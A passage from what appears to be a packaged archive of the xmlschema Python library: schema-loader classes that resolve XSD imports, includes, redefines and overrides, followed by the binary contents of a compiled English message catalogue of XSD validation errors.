self.base_url) self.missing_locations = set() if not use_fallback: self.fallback_locations = MappingProxyType({}) if not use_xpath3: self.xpath_parser_class = XPath2Parser self.assertion_parser_class = XsdAssertionXPathParser else: module = importlib.import_module('xmlschema.xpath.xpath3') self.xpath_parser_class = module.XPath3Parser self.assertion_parser_class = module.XsdAssertionXPath3Parser def clear(self) -> None: self.maps.clear() self.missing_locations.clear() def get_locations(self, namespace: str, location: Optional[str] = None) -> list[str]: locations: list[str] = [] if location is None else [location] if namespace in self.locations: locations.extend(self.locations[namespace]) if namespace in self.fallback_locations: values = self.fallback_locations[namespace] if isinstance(values, str): locations.append(values) else: locations.extend(values) return locations def load_declared_schemas(self, schema: SchemaType) -> None: """ Processes xs:include, xs:redefine, xs:override and xs:import statements, loading the schemas and/or the namespaced referred into declarations. """ if schema not in self.maps.schemas or schema.maps is not self.maps: raise XMLSchemaValueError(f"{schema} is not owned by {self.maps}!") logger.debug("Processes inclusions and imports of schema %r", self) schema.imported_namespaces.clear() for elem in schema.source.root: if elem.tag in nm.XSD_ANNOTATION: continue elif elem.tag not in SCHEMA_DECLARATION_TAGS: break location = elem.get('schemaLocation') if elem.tag == nm.XSD_IMPORT: namespace = elem.get('namespace', '').strip() if namespace == schema.target_namespace: if namespace == '': msg = _("if the 'namespace' attribute is not present on " "the import statement then the imported schema " "must have a 'targetNamespace'") else: msg = _("the attribute 'namespace' must be different " "from schema's 'targetNamespace'") schema.parse_error(msg) continue schema.imported_namespaces.append(namespace) url = normalize_url(location, schema.base_url) if location else None if self.is_missing(namespace, location, schema.base_url): self.import_namespace(schema, namespace, url) elif location is not None: # Process xs:include/xs:redefine/xs:override only if it has a # schemaLocation attribute. If not an error has been already # generated by the XSD validation with against the meta-schema. operation = elem.tag.split('}')[-1] logger.info("Process xs:%s schema from %s", operation, location) try: _schema = self.include_schema(schema, location, schema.base_url) except OSError as err: # It is not an error if the location fails to resolve: # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#compound-schema # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#src-include self.missing_locations.add(location) if elem.tag == nm.XSD_INCLUDE: msg = _("Include schema failed: {}").format(err) else: # If the xs:redefine/xs:override doesn't contain components (annotation # excluded) the statement is equivalent to an include, so no error is # generated, otherwise fails. if any(e.tag != nm.XSD_ANNOTATION and not callable(e.tag) for e in elem): schema.parse_error(str(err), elem) if elem.tag == nm.XSD_REDEFINE: msg = _("Redefine schema failed: {}").format(err) else: msg = _("Override schema failed: {}").format(err) schema.warnings.append(msg) warnings.warn(msg, XMLSchemaIncludeWarning, stacklevel=3) except (XMLSchemaParseError, XMLSchemaTypeError, XMLResourceParseError) as err: if elem.tag == nm.XSD_INCLUDE: msg = _("can't include schema {!r}: {}") elif elem.tag == nm.XSD_REDEFINE: msg = _("can't redefine schema {!r}: {}") else: msg = _("can't override schema {!r}: {}") if isinstance(err, (XMLSchemaParseError, XMLResourceParseError)): schema.parse_error(msg.format(location, err), elem) else: raise type(err)(msg.format(location, err)) else: if _schema is schema and operation != 'include': msg = _("can't {} the same schema {!r}").format(operation, schema) schema.parse_error(msg, elem) elif operation == 'redefine': _schema.redefine = schema elif operation == 'override': _schema.override = schema logger.debug("Inclusions and imports of schema %r processed", schema) def import_namespace(self, schema: SchemaType, namespace: str, location: Optional[str] = None) -> None: import_error: Optional[Exception] = None locations = self.get_locations(namespace, location) for url in locations: try: logger.info("Import namespace %r from %r", namespace, url) self.import_schema(schema, namespace, url, schema.base_url) except (OSError, XMLResourceBlocked, XMLResourceForbidden) as err: # It's not an error if the location access fails (ref. section 4.2.6.2): # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#composition-schemaImport # # Also consider block or defuse of XML data as a location access fail. self.missing_locations.add(url) logger.debug('%s', err) if import_error is None: import_error = err except (XMLSchemaParseError, XMLSchemaTypeError, XMLResourceParseError) as err: if namespace: msg = _("import of namespace {!r} failed: {}").format(namespace, err) else: msg = _("import of chameleon schema failed: {}").format(err) if isinstance(err, (XMLSchemaParseError, XMLResourceParseError)): schema.parse_error(msg) else: raise type(err)(msg) except XMLSchemaValueError as err: schema.parse_error(err) else: logger.info("Namespace %r imported from %r", namespace, url) break else: if import_error is not None: msg = _("Import of namespace {!r} from {!r} failed: {}.") schema.warnings.append(msg.format(namespace, locations, str(import_error))) warnings.warn(schema.warnings[-1], XMLSchemaImportWarning, stacklevel=4) def import_schema(self, target_schema: SchemaType, namespace: str, location: str, base_url: Optional[str] = None, build: bool = False, partial: bool = False) -> Optional[SchemaType]: """ Imports a schema from a specific URL. :param target_schema: the importer schema. :param namespace: is the URI of the external namespace. :param location: is the URL of the schema. :param base_url: is an optional base URL for fetching the schema resource, \ otherwise use the base url of the loader, if any. :param build: defines when to build the imported schema, the default is to not build. :param partial: if `True`, the loaded schema is initialized without processing \ imports/inclusions and the build phase is skipped. :return: the imported :class:`XMLSchema` instance. """ if location in target_schema.imports: schema = target_schema.imports[location] if schema is not None and schema.target_namespace != namespace: msg = _('imported schema {!r} has an unmatched namespace {!r}') raise XMLSchemaValueError(msg.format(location, namespace)) if namespace in self.namespaces: logger.debug("Import schema in namespace %r from %r", namespace, location) else: logger.debug("Import namespace %r from %r", namespace, location) schema = self.load_schema(location, namespace, base_url, build, partial) if target_schema is schema: return schema elif location not in target_schema.imports: target_schema.imports[location] = schema return schema def include_schema(self, target_schema: SchemaType, location: str, base_url: Optional[str] = None, build: bool = False, partial: bool = False) -> SchemaType: """ Includes a schema for the same namespace from a specific location. :param target_schema: the schema that includes the schema at provided location. :param location: is the URL of the schema. :param base_url: is an optional base URL for fetching the schema resource. :param build: defines when to build the imported schema, the default is to not build. :return: the included :class:`XMLSchema` instance. :param partial: if `True`, the included schema is initialized without processing \ imports/inclusions and the build phase is skipped. :return: the included :class:`XMLSchema` instance. """ if location in target_schema.includes: return target_schema.includes[location] namespace = target_schema.target_namespace logger.debug("Include schema in namespace %r from %r", namespace, location) schema = self.load_schema(location, namespace, base_url, build, partial) if target_schema is not schema: target_schema.includes[location] = schema return schema def load_schema(self, source: SchemaSourceType, namespace: Optional[str] = None, base_url: Optional[str] = None, build: bool = False, partial: bool = False) -> SchemaType: """ Loads a schema from a location. :param source: a URI that reference to a resource or a file path or a file-like \ object or a string containing the schema or an Element or an ElementTree document. :param namespace: is the URI of the namespace that the schema belongs to. :param base_url: is an optional base URL for fetching the schema resource, \ otherwise use the base url of the loader, if any. :param build: defines when to build the loaded schema, the default is to not build. :param partial: if `True`, the loaded schema is initialized without processing \ imports/inclusions and the build phase is skipped. :return: the loaded schema or the schema that matches the URL if it's already loaded. """ schema = self.maps.get_schema(namespace, source, base_url) if schema is not None: logger.info("Resource %r is already loaded", schema.source) return schema return self.schema_class( source=source, namespace=namespace, validation=self.validation, global_maps=self.maps, converter=self.converter, base_url=base_url, allow=self.allow, defuse=self.defuse, timeout=self.timeout, uri_mapper=self.uri_mapper, opener=self.opener, build=build, partial=partial, ) def load_namespace(self, namespace: str, build: bool = True) -> bool: """ Load namespace from available location hints. Returns `True` if the namespace is already loaded or if the namespace can be loaded from one of the locations, returns `False` otherwise. Failing locations are inserted into the missing locations list. :param namespace: the namespace to load. :param build: if left with `True` value builds the maps after load. If the \ build fails the resource URL is added to missing locations and the global \ maps are restored at previous state. """ if namespace in self.namespaces: return True elif self.validator.meta_schema is None and \ namespace not in self.validator.BASE_SCHEMAS: return False # Do not load additional namespaces for meta-schema if not build: for url in self.get_locations(namespace): if self.is_missing(namespace, url): try: self.load_schema(url, namespace) except OSError: self.missing_locations.add(url) return namespace in self.namespaces with self.maps.protect_status(reraise=False): for url in self.get_locations(namespace): if self.is_missing(namespace, url): try: self.load_schema(url, namespace) except OSError: self.missing_locations.add(url) self.maps.build() return namespace in self.namespaces def is_missing(self, namespace: str, location: Optional[str] = None, base_url: Optional[str] = None) -> bool: return namespace not in self.namespaces or \ all(s.maps is not self.maps for s in self.namespaces[namespace]) class LocationSchemaLoader(SchemaLoader): """ A schema loader that processes an import statement if the referred location is not already loaded. """ def is_missing(self, namespace: str, location: Optional[str] = None, base_url: Optional[str] = None) -> bool: if super().is_missing(namespace): return True elif location is None: return False else: url = normalize_url(location, base_url) return all(not s.source.match_location(url) for s in self.maps.schemas) class SafeSchemaLoader(SchemaLoader): """ A schema loader that processes an import statement if the referred location is not already loaded and after checking if there aren't collisions with loaded schemas. """ def __init__(self, maps: 'XsdGlobals', locations: Optional[LocationsType] = None, use_fallback: bool = True, use_xpath3: bool = False): super().__init__(maps, locations, use_fallback, use_xpath3) self.global_maps = GlobalMaps.from_builders(self.validator.builders) self.excluded_locations: set[str] = set() def clear(self) -> None: self.maps.clear() self.missing_locations.clear() self.global_maps.clear() self.excluded_locations.clear() def is_missing(self, namespace: str, location: Optional[str] = None, base_url: Optional[str] = None) -> bool: if super().is_missing(namespace): return True elif location is None: return False url = normalize_url(location, base_url) if url in self.excluded_locations or \ any(s.source.match_location(url) for s in self.maps.schemas): return False schema = self.maps.get_schema(namespace, url) if schema is not None and schema.maps is self.maps: return False try: schema = self.load_schema(location, namespace, base_url, partial=True) except (OSError, XMLResourceError): self.missing_locations.add(url) return False # The resource is not accessible self.global_maps.clear() try: self.global_maps.load(self.namespaces[namespace]) except XMLSchemaParseError: self.namespaces[namespace].pop() self.maps.schemas.remove(schema) self.excluded_locations.add(url) return False else: self.namespaces[namespace].pop() self.maps.schemas.remove(schema) return True ������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016705�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/en/����������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017307�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/en/LC_MESSAGES/����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021074�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/en/LC_MESSAGES/xmlschema.mo����������������������������������������0000664�0000000�0000000�00000132755�15020401055�0023427�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������̃•���������„ ����́������`!�����a!�����s!�����…!��$���™!��$���¾!�����ă!��!���ú!�����"��+���+"�����W"��-���g"��:���•"��%���Đ"�����ö"��@���#��7���Q#��:���‰#��B���Ä#��;���$��?���C$��8���ƒ$��-���¼$��-���ê$��+���%��6���D%��*���{%��0���¦%��6���×%��6���&��1���E&��6���w&��1���®&��7���à&��*���'��0���C'��8���t'��0���­'��2���̃'��1���(��@���C(�����„(��2���Ÿ(��%���̉(��>���ø(��<���7)��<���t)��=���±)��4���ï)��7���$*��6���\*�����“*�����­*��0���Ä*��)���ơ*��o���+��"���+��.���²+�����á+��B���û+��C���>,��;���‚,�����¾,�����Ù,��F���ô,��;���;-��*���w-��(���¢-��,���Ë-��=���ø-��1���6.��*���h.��A���“.��)���Ơ.��"���ÿ.��%���"/��a���H/��0���ª/��=���Û/��?���0��%���Y0��'���0��7���§0��@���ß0��2��� 1�����S1�����o1��+���1��)���»1��0���å1��F���2��E���]2��I���£2��$���í2��=���3��&���P3�� ���w3�����˜3�����±3��?���È3��L���4��3���U4��3���‰4��M���½4��3��� 5��3���?5��-���s5��*���¡5��5���̀5��=���6��>���@6��<���6��9���¼6��'���ö6�����7��5���77��2���m7��)��� 7��&���Ê7��(���ñ7��Q���8��R���l8��"���¿8��&���â8��.��� 9��,���89��5���e9��<���›9��+���Ø9�����:�����":�����A:��.���`:��0���:��]���À:��,���;��R���K;�����;��%���¼;��+���â;��+���<��B���:<��3���}<��6���±<��,���è<��,���=��5���B=��5���x=��?���®=��^���î=��1���M>��6���>��!���¶>��=���Ø>��*���?��1���A?��&���s?��>���?��:���Ù?��B���@��0���W@��:���ˆ@��F���Ă@��.��� A�����9A��"���XA��!���{A�� ���A�����¾A�����ÚA�� ���̣A��3���B��>���GB��,���†B��"���³B��/���ÖB��F���C��>���MC��2���ŒC��8���¿C��I���øC��O���BD��F���’D�����ÙD�����ñD��,���E��.���<E��-���kE�����™E��T���²E��U���F��T���]F��z���²F��%���-G��#���SG��4���wG��0���¬G��;���ƯG��"���H��%���<H��%���bH�����ˆH��-���¦H�����ÔH��+���́H��+���I��#���DI�����hI�����‡I��$���I��7���¿I��,���÷I�����$J��3���:J��7���nJ��0���¦J��*���×J��=���K�����@K��0���_K��0���K��'���ÁK��.���éK�����L�����7L��'���PL��0���xL��/���©L��&���ÙL������M�����M�� ���.M��4���OM��0���„M�����µM��!���ÆM�����èM��!���N��"���(N�����KN��"���kN��:���N�����ÉN��.���æN��'���O��&���=O��!���dO�����†O��8���£O�����ÜO��E���ôO��(���:P��%���cP�����‰P�����ŸP�����³P��8���ÍP��;���Q��1���BQ�����tQ��&���Q��5���¶Q��4���́Q��5���!R��8���WR��5���R��M���ÆR��%���S��<���:S��+���wS��0���£S��2���ÔS��+���T�����3T�����PT�� ���nT��6���T��)���ÆT��#���đT�����U��/���1U��‘���aU��p���óU��2���dV��1���—V��=���ÉV��K���W��9���SW��9���W��I���ÇW��K���X��L���]X��+���ªX��-���ÖX��+���Y��d���0Y��B���•Y�� ���ØY��8���ùY��A���2Z��4���tZ��-���©Z��@���×Z��#���[��!���<[��?���^[��[���[��$���ú[��O���\�����o\��-���\�����¸\��2���Ê\��2���ư\��)���0]�� ���Z]��+���{]�����§]�����Ä]�����Û]�� ���î]�����^�����,^��*���>^�����i^�����‡^��7���^��!���Ö^��4���ø^��/���-_��/���]_��)���_�����·_��'���×_��*���ÿ_��!���*`��,���L`�� ���y`�����`�� ���º`�����Û`��%���ô`��(���a��'���Ca�����ka�����‚a�����a�����¸a�����̉a�����éa��M���üa��,���Jb��“���wb��6��� c��?���Bc��.���‚c��+���±c��W���Ưc�����5d��$���Md��)���rd��7���œd��&���Ôd��#���ûd��.���e�����Ne��&���ne��'���•e��*���½e��$���èe��O��� f��0���]f��.���f��>���½f��<���üf��&���9g�� ���`g��+���g��0���­g��+���̃g��;��� h��9���Fh�����€h��)���œh�����Æh��&���ăh��$��� i��7���/i�����gi��&���…i��#���¬i��1���Đi��0���j��!���3j��G���Uj��L���j�����êj��9�� k�����Dl�����Vl�����hl��$���|l��$���¡l�����Æl��!���Ưl�����ÿl��+���m�����:m��-���Jm��:���xm��%���³m�����Ùm��@���óm��7���4n��:���ln��B���§n��;���ên��?���&o��8���fo��-���Ÿo��-���Ío��+���ûo��6���'p��*���^p��0���‰p��6���ºp��6���ñp��1���(q��6���Zq��1���‘q��7���Ăq��*���ûq��0���&r��8���Wr��0���r��2���Ár��1���ôr��@���&s�����gs��2���‚s��%���µs��>���Ûs��<���t��<���Wt��=���”t��4���̉t��7���u��6���?u�����vu�����u��0���§u��)���Øu��o���v��"���rv��.���•v�����Äv��B���̃v��C���!w��;���ew�����¡w�����¼w��F���×w��;���x��*���Zx��(���…x��,���®x��=���Ûx��1���y��*���Ky��A���vy��)���¸y��"���ây��%���z��a���+z��0���z��=���¾z��?���üz��%���<{��'���b{��7���{��@���Â{��2���|�����6|�����R|��+���r|��)���|��0���È|��F���ù|��E���@}��I���†}��$���Đ}��=���ơ}��&���3~�� ���Z~�����{~�����”~��?���«~��L���ë~��3���8��3���l��M��� ��3���î��3���"€��-���V€��*���„€��5���¯€��=���å€��>���#��<���b��9���Ÿ��'���Ù�����‚��5���‚��2���P‚��)���ƒ‚��&���­‚��(���Ô‚��Q���ư‚��R���Oƒ��"���¢ƒ��&���Ń��.���́ƒ��,���„��5���H„��<���~„��+���»„�����ç„�����…�����$…��.���C…��0���r…��]���£…��,���†��R���.†�����†��%���Ÿ†��+���ņ��+���ñ†��B���‡��3���`‡��6���”‡��,���ˇ��,���ø‡��5���%ˆ��5���[ˆ��?���‘ˆ��^���ш��1���0‰��6���b‰��!���™‰��=���»‰��*���ù‰��1���$��&���V��>���}��:���¼��B���÷��0���:‹��:���k‹��F���¦‹��.���í‹�����Œ��"���;Œ��!���^Œ�� ���€Œ�����¡Œ�����½Œ�� ���ƠŒ��3���öŒ��>���*��,���i��"���–��/���¹��F���é��>���0��2���o��8���¢��I���Û��O���%��F���u�����¼�����Ô��,���̣��.�����-���N�����|��T���•��U���ê��T���@‘��z���•‘��%���’��#���6’��4���Z’��0���’��;���À’��"���ü’��%���“��%���E“�����k“��-���‰“�����·“��+���Ï“��+���û“��#���'”�����K”�����j”��$���}”��7���¢”��,���Ú”�����•��3���•��7���Q•��0���‰•��*���º•��=���å•�����#–��0���B–��0���s–��'���¤–��.���̀–�����û–�����—��'���3—��0���[—��/���Œ—��&���¼—�����ă—�����ü—�� ���˜��4���2˜��0���g˜�����˜˜��!���©˜�����˘��!���é˜��"��� ™�����.™��"���N™��:���q™�����¬™��.���É™��'���ø™��&��� ��!���G�����i��8���†�����¿��E���×��(���›��%���F›�����l›�����‚›�����–›��8���°›��;���é›��1���%œ�����Wœ��&���rœ��5���™œ��4���Ïœ��5�����8���:��5���s��M���©��%���÷��<�����+���Z��0���†��2���·��+���ê�����Ÿ�����3Ÿ�� ���QŸ��6���rŸ��)���©Ÿ��#���ÓŸ�����÷Ÿ��/��� ��‘���D ��p���Ö ��2���G¡��1���z¡��=���¬¡��K���ê¡��9���6¢��9���p¢��I���ª¢��K���ô¢��L���@£��+���£��-���¹£��+���ç£��d���¤��B���x¤�� ���»¤��8���ܤ��A���¥��4���W¥��-���Œ¥��@���º¥��#���û¥��!���¦��?���A¦��[���¦��$���Ư¦��O���§�����R§��-���m§�����›§��2���­§��2���à§��)���¨�� ���=¨��+���^¨�����¨�����§¨�����¾¨�� ���Ѩ�����̣¨�����©��*���!©�����L©�����j©��7���©��!���¹©��4���Û©��/���ª��/���@ª��)���pª�����ª��'���ºª��*���âª��!��� «��,���/«�� ���\«�����}«�� ���«�����¾«��%���׫��(���ư«��'���&¬�����N¬�����e¬�����€¬�����›¬�����µ¬�����̀¬��M���߬��,���-­��“���Z­��6���î­��?���%®��.���e®��+���”®��W���À®�����¯��$���0¯��)���U¯��7���¯��&���·¯��#���̃¯��.���°�����1°��&���Q°��'���x°��*��� °��$���˰��O���đ°��0���@±��.���q±��>��� ±��<���ß±��&���²�� ���C²��+���d²��0���²��+���Á²��;���í²��9���)³�����c³��)���³�����©³��&���Ƴ��$���í³��7���´�����J´��&���h´��#���´��1���³´��0���å´��!���µ��G���8µ��L���€µ�����͵���������������Ë���á�������<�������B������y���s��K���ù��������Ă���U���C������v���¯�������>�����³���N��î���g��+�������q���́����������������������t���₫���ˆ��ï�����������5���˜���ƒ�������å�����������b������ ��„��?����������Z���������}������� �������J���������������V��ơ���"���¿�������»�����������~���+��Â��� ��@���F��C��������������ˆ���w�������������Æ���ư���!��I��K�������������ê���������������Ô���`��)�����̀���Í���Ü���(��������������������X���.���m���Ä���1����x�� �������������������b�������������������n�������k��¬�������Ø���S��3��^��“���‰�������}������Ñ�����/������E�������M��/�����������L��2���I������x�����o��������������‰��3���‹���‹�����&��*�������Œ��Á�������Ù���…���‚�����J��6���¨�������È���à�������V���Ç�������H������i��±�������T���Ơ�������A��O�������h��U��¢�������Đ���*��ă���|������̣���ú�����r��W��� ���h�������P�����0�����������Ê���W������4��y��§���ô���4���­���N���û���¦���8��g���;�������Y�������̃���×���_���'��[�����]���X������´���¡����������ß���²�������l��-���$����������r�������p���…�� �����ü���µ���;���������������-��.��m��d���¹�������¾����������d��u�������ÿ���t������ƒ��,��ë���[������R���ö�������è���¶�����������G��„�������Ư�������,���o�������������� ��������Q���f������������� ���]��!�������^���T����������†���°���‡��� ������M�������#��–���"��æ�������%��‡������œ���s���9����������������������ó���›������(���`���Q��l���F���É������� ��$�����������Ö���Ï���Z�����7��R��¤���n����a������8���5��D����������c������—���'���¸���é�������Å���q��ø���9����������đ���E���†�����Y��_��½���€��<��P���#���£�������O��÷������ñ���@������v�������������p��~��������:������º�������&���G��� ���̉���¼���Î���f���â���j�������{������%���Û���|���S�������k�������H���=�������z�������j������2��1��������‘���Ó���ç�������Ú���«�������������i����������”�������������>��7�����������������������•���u��0�������z���e����������’���\����A�����{��� ���a���™���®���D��‚�����)��í���€���?���Ÿ�������·������©���6��ä���Œ�������B��L���=��À������ª��� ��c���:���w������e���¥�������������������\���� Tag %r expected.� Tag %s expected.� Tag (%s) expected.�%r attribute not allowed for element�%r field doesn't have a simple type!�%r field selects a %r!�%r field selects multiple values!�%r is abstract�%r is not an attribute of the XSI namespace�%r is not built�%r: a list must be based on atomic data types�'all' model can appears only at 1st level of a model group�'all' model can contain only elements�'base' attribute required�'converter' argument must be a {0!r} subclass or instance: {1!r}�'default' and 'fixed' attributes are mutually exclusive�'default' value {!r} is not compatible with element's type�'final' value of the baseType %r forbids derivation by restriction�'final' value of the itemType %r forbids derivation by list�'final' value of the memberTypes %r forbids derivation by union�'fixed' value {!r} is not compatible with element's type�'global_maps' argument must be an %r instance�'length' value must be non a negative integer�'maxLength' has a greater value than parent�'maxLength' has a lesser value than parent 'minLength'�'maxLength' value is less than 'minLength'�'maxLength' value must be a non negative integer�'maxLength' value must be greater or equal to 'length'�'minExclusive' must be less or equal to 'maxExclusive'�'minExclusive' must be lesser than 'maxInclusive'�'minInclusive' must be less or equal to 'maxInclusive'�'minInclusive' must be lesser than 'maxExclusive'�'minLength' has a greater value than parent 'maxLength'�'minLength' has a lesser value than parent�'minLength' value must be a non negative integer�'minLength' value must be less than or equal to 'length'�'mixed' attribute not allowed with simpleContent�'model' argument must be (sequence | choice | all)�'name' attribute in a local simpleType definition�'namespace' and 'notNamespace' attributes are mutually exclusive�'xpath' attribute required�(attribute | attributeGroup) expected, found {!r}.�(restriction | list | union) expected�Attribute type is not a restriction of the base attribute type�Attribute wildcard is not a restriction of the base wildcard�Attribute {!r}: 'inheritable' property change in restriction�Attribute {!r}: derived attribute has a different fixed value�Attribute {!r}: redefinition remove fixed constraint�Attribute {!r}: unmatched attribute use in redefinition�Attribute {!r}: unmatched attribute use in restriction�Can't delete attribute {}�Can't set attribute {}�Circular attribute groups not allowed in XSD 1.0�Circular definition detected for group %r�Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types�IDREF %r not found in XML document�Import of namespace {!r} from {!r} failed: {}.�Include schema failed: {}�Maybe a not equivalent type table between elements {0!r} and {1!r}�Maybe a not equivalent type table between elements {0!r} and {1!r}.�Missing required attribute {!r} in redefinition restriction�Override schema failed: {}�Redefine schema failed: {}�Redefined group reference cannot have minOccurs/maxOccurs other than 1�Redefinition restriction contains additional attribute {!r}�The content of element %r is not complete.�Unexpected attribute {!r} in restriction�Unexpected child with tag %r at position %d.�Unique Particle Attribution violation between {0!r} and {1!r}�Wrong attribute order in redefinition restriction�XML data depth exceeded (MAX_XML_DEPTH=%r)�XSD 1.0 does not allow extension of a not empty 'all' model group�XSD attribute's type must be a simpleType�XSD_VERSION must be '1.0' or '1.1'�a complexType ancestor required: {!r}�a declaration contained in a global complexType must have the same namespace as its parent schema�a defaultOpenContent declaration cannot be empty�a global %s must have the same namespace as its parent schema�a not empty simpleContent cannot restrict an empty content type�a notation declaration must be global�a notation must have a 'name' attribute�a notation must have a 'public' or a 'system' attribute�a reference component cannot have child definitions/declarations�a simple content element can't have child elements�a {0!r} required, not {1!r}�ambiguous list type declaration�ambiguous type definition for XSD attribute�an <xs:any> child declaration is required�an attribute name must be different from 'xmlns'�an empty 'choice' group with minOccurs > 0 cannot validate any content�an empty content derivation from base type that has not empty content�an openContent with mode='none' cannot have an <xs:any> child declaration�an xs:simpleType definition expected�an xs:{0} group cannot include a reference to an xs:{1} group�another declaration after anyAttribute�attribute %r must be inheritable�attribute %r not allowed�attribute %r not found�attribute 'fixed' with use=prohibited is not allowed in XSD 1.1�attribute 'form' must be absent when 'targetNamespace' attribute is provided�attribute 'maxOccurs' not allowed in a global group�attribute 'minOccurs' not allowed in a global group�attribute 'name' must be present when 'targetNamespace' attribute is provided�attribute 'name' not allowed for a local simpleType�attribute 'name' not allowed in a local complexType�attribute 'name' not allowed in a local group�attribute 'ref' not allowed in a global %r�attribute 'ref' points to a different kind constraint�attribute {!r} is not allowed in a global element declaration�attribute {!r} is not allowed when attribute reference is used�attribute {!r} is not allowed when element reference is used�attribute {!r} not allowed in a local element declaration�attribute {0!r} has a fixed value {1!r}�attribute {0}={1!r}: {2}�attributeGroup ref={!r} is not in the redefined group�attributes 'name' and 'ref' are mutually exclusive�base %r is simple or has a simple content�base facet has a different length ({})�base facet has a greater min length ({})�base has a different content type (mixed=%r) and the extension group is not empty�base has a different content type (mixed=%r) and the extension group is not empty.�base type %r has no simple content�base type has a lesser max length ({})�base_type={!r} is not a complexType definition�boolean value {0!r} requires a {1!r} decoder�can't change attribute {!r} of a global maps instance�can't change the global maps instance of a class meta-schema�can't change the {!r} attribute of a schema�can't include schema {!r}: {}�can't override schema {!r}: {}�can't redefine schema {!r}: {}�can't set the meta_schema instance of a schema�can't use an abstract XSD element for validation�can't use an abstract XSD element for validation unless it's the head of a substitution group�can't use an abstract element in an instance�can't verify the content model of {!r} due to exceeding of maximum recursion depth�can't {} the same schema {!r}�cannot add attributes in %r namespace�cannot decode %(obj)r data with %(decoder)r�cannot extend a complex content with xs:all�cannot extend a not empty 'all' model group with a different model�cannot extend an empty mixed content with an xs:all�cannot extend an xs:all group with mixed empty content�cannot specify both 'length' and 'maxLength'�cannot specify both 'length' and 'minLength'�cannot specify both 'maxInclusive' and 'maxExclusive'�cannot specify both 'minInclusive' and 'minExclusive'�cannot use xs:anyAtomicType as base type of a user-defined type�cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet�character data between child elements not allowed�character data is not allowed because content is empty�circular redefinition for {} {!r}�circularity found for substitution group with head element {}�circularity found for substitutionGroup %r�content type is not a restriction of base content�declared type is not derived from {!r}�default attribute {!r} is already declared in the complex type�default value {!r} is not compatible with attribute's type�defaultAttributes={0!r} doesn't match any attribute group of {1!r}�defaultOpenContent must be a child of the schema�derivation by %r blocked by attribute 'final' in base type�derived a mixed content from a base type that has element-only content�duplicate of schema {} found in namespace {!r}�duplicated attributeGroup {!r}�duplicated identity constraint %r:�duplicated simpleType declaration�duplicated value {0!r} for {1!r}�duplicated xs:ID value {!r}�element is not nillable�element {!r} is not allowed here�encoding needs at least one XSD element declaration�extended type has a mixed content but the base is element-only�facet group must have the same base type: %r�facet value can be only 'collapse'�facet value can be only 'replace' or 'collapse'�facets not allowed for a direct content derivation of xs:anySimpleType�facets not allowed for a direct derivation of xs:anySimpleType�field cardinality mismatch between {0!r} and {1!r}�fixed value {!r} is not compatible with attribute's type�fractionDigits facet can be applied only to types derived from xs:decimal�fractionDigits facet value cannot be lesser than the value of totalDigits facet�fractionDigits facet value must be 0 for types derived from xs:integer�global group not built!�global type {!r} is not built�global xs:{} with name={!r} is already built�global xs:{} with name={!r} is already defined�global xs:{} with name={!r} is already loaded�global {} {!r} not found�head element %r can't be substituted by an element that has a derivation of its type�head element %r can't be substituted by an element that has a restriction of its type�head element %r can't be substituted by an element that has an extension of its type�if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'�import of chameleon schema failed: {}�import of namespace {!r} failed: {}�imported schema {!r} has an unmatched namespace {!r}�in XSD 1.0 an 'all' model group cannot be nested�in a redefinition the reference to itself must be the first�invalid XPath expression for an {}�invalid attribute vc:maxVersion value�invalid attribute vc:minVersion value�invalid restriction from {!r}�invalid restriction: base value is lower ({})�invalid restriction: {}�invalid restriction: {} is also the maximum�invalid restriction: {} is also the minimum�invalid type {!r} for argument {!r}�invalid type {!r} provided: {}�invalid value {!r}�invalid value {!r} for argument {!r}�invalid value {!r} for argument {!r}: must be one of {}�key/unique identity constraint %r is missing�length has to be {!r}�local scope elements cannot have abstract attribute�maxOccurs must be 'unbounded' or greater than minOccurs�maxOccurs must be (0 | 1) for 'all' model groups�maxOccurs must be 1 for 'all' model groups�maxOccurs value must be a non negative integer or 'unbounded'�meta-schema unavailable for %r�minOccurs must be (0 | 1) for 'all' model groups�minOccurs must be lesser or equal than maxOccurs�minOccurs value is not an integer value�minOccurs value must be a non negative integer�missing 'selector' declaration�missing 'type' attribute�missing attribute 'name' in a global %r�missing attribute 'name' in a global complexType�missing attribute 'name' in a global simpleType�missing attribute 'ref' in local group�missing attribute 'test'�missing base type %r�missing base type in restriction�missing both attributes 'name' and 'ref' in local %r�missing enumeration facet in xs:NOTATION subtype�missing group %r�missing key field {0!r} for {1!r}�missing list type declaration�missing required attribute 'name'�missing required attribute 'refer'�missing required attribute {!r}�missing xs:union type declarations�more anyAttribute declarations in the same attribute group�multiple %r constraint facet�multiple ID attributes not allowed for XSD 1.0�multiple declaration for attribute {!r}�multiple declaration of attribute {!r}�multiple redefinition for {} {!r}�must have the fixed value %r�names in notQName must be in namespaces that are allowed�no XSD source provided!�no more than one attribute of type ID should be present in an element�no type suitable for encoding the object�no value is allowed for xs:error type�not a base64 encoding�not a redefinition!�not an hexadecimal number�not expressible wildcard namespace union: {0!r} V {1!r}:�one or more facets are not applicable, admitted set is {!r}�openContent mismatch between type and model group�parent circularity from {}�prefix {!r} not found in namespace map�redefined schema {!r} has a different targetNamespace�reference to a non key/unique identity constraint %r�referenced attribute has a different fixed value {!r}�registered schemas do not match namespace mapped schemas�restriction has an open content but base type has not�restriction of an xs:{0} with more than one particle with xs:{1} is forbidden�restriction or extension tag expected�restriction 